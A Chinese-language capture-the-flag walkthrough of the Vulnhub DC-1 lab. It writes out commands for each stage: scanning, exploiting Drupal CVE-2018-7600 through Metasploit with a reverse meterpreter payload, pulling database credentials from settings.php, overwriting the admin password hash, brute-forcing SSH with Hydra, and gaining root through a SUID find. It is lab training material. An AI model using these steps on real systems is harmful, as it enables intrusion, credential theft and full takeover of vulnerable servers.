Vulnhub--DC-1
环境准备
信息搜集
首先扫描一下主机存活看一下靶机IP,可以使用如下命令arp-scan -l
最后确定靶机IP为192.168.75.133可以一个个访问确定,也可以看一下靶机的mac地址确定
访问得到如下页面
这个Drupal有个远程代码执行的cve为CVE-2018-7600,当然还不知道版本对不对,不过先不急着看这个CVE,用nmap扫描一下开放的端口nmap -A 192.168.75.133
利用插件看一下指纹信息,可以看到Drupal版本为7是存在这个CVE漏洞的
flag1
直接利用msfconsole来看一下,这里手动弄的话很麻烦,进入msf搜一下这个模块search Drupal
直接使用18年的那个CVEuse exploit/unix/webapp/drupal_drupalgeddon2
然后查看一下payload执行show payloads
可以看到所有payload列出,使用如下payload,这里也可以不设置,我是为了练习一下工具使用set payload php/meterpreter/reverse_tcp
然后查看需要配置的参数show options
yes为必填参数,有默认的直接用,这里就只需要配一下RHOSTS即靶机IPset rhosts 192.168.75.133
然后开始攻击exploit
攻击成功,拿shell
ls看到flag1先打开看看
flag2
用python获取交互式shellpython -c 'import pty; pty.spawn("/bin/bash")'
看一下用户权限,只是一个普通用户
根据flag1提示看一下配置文件,通过百度得到配置文件名settings.php
1 | cat `find / -name settings.php` |
这里也可以使用命令find . -name "set*"
搜到配置文件
拿到flag2和一个数据库
flag3,拿下数据库
登入数据库mysql -udbuser -pR0ck3t
然后就是查看一下数据库里面的东西show databases;
use drupaldb;show tables;
查看这个users表select * from users\G;
这里\G
就是纵向显示数据
得到两个用户,不过密码不是明文,模糊搜索一下看看有没有加密脚本find . -name "*hash*"
找到加密脚本,简单运行一下看看
这里应该就是直接在后面加上密码就可以得到密文,反正就是多尝试
这里我们想试出admin的密码很难,所以我们就直接在数据库里面进行替换
1 | update users set pass='$S$DQg60FlJLrmVGTkV6v6xnQKJGLPv9Bq5mNizW6/kv0IeIyA.2dyd' where name="admin"; |
替换成功,然后登录看看
在这里找到flag3
flag4
根据flag3提示,打开/etc/passwd看看
得到flag4用户,并且在用户目录下可以找到flag4,这里也可以使用工具Hydra去爆破用户ssh密码远程登录hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.75.133
但是既然能直接打开没必要去爆破
提示root目录但是没有权限打开,开始提权
flag5,suid提权
利用find命令,找查具有SUID权限的可执行二进制文件
1 | find / -perm -u=s -type f 2>/dev/null |
find命令在里面可以直接使用它来提权
1 | find / -name index.php -exec "/bin/sh" \; |
提权成功,然后进入root目录查看
找到最后一个flag,打靶结束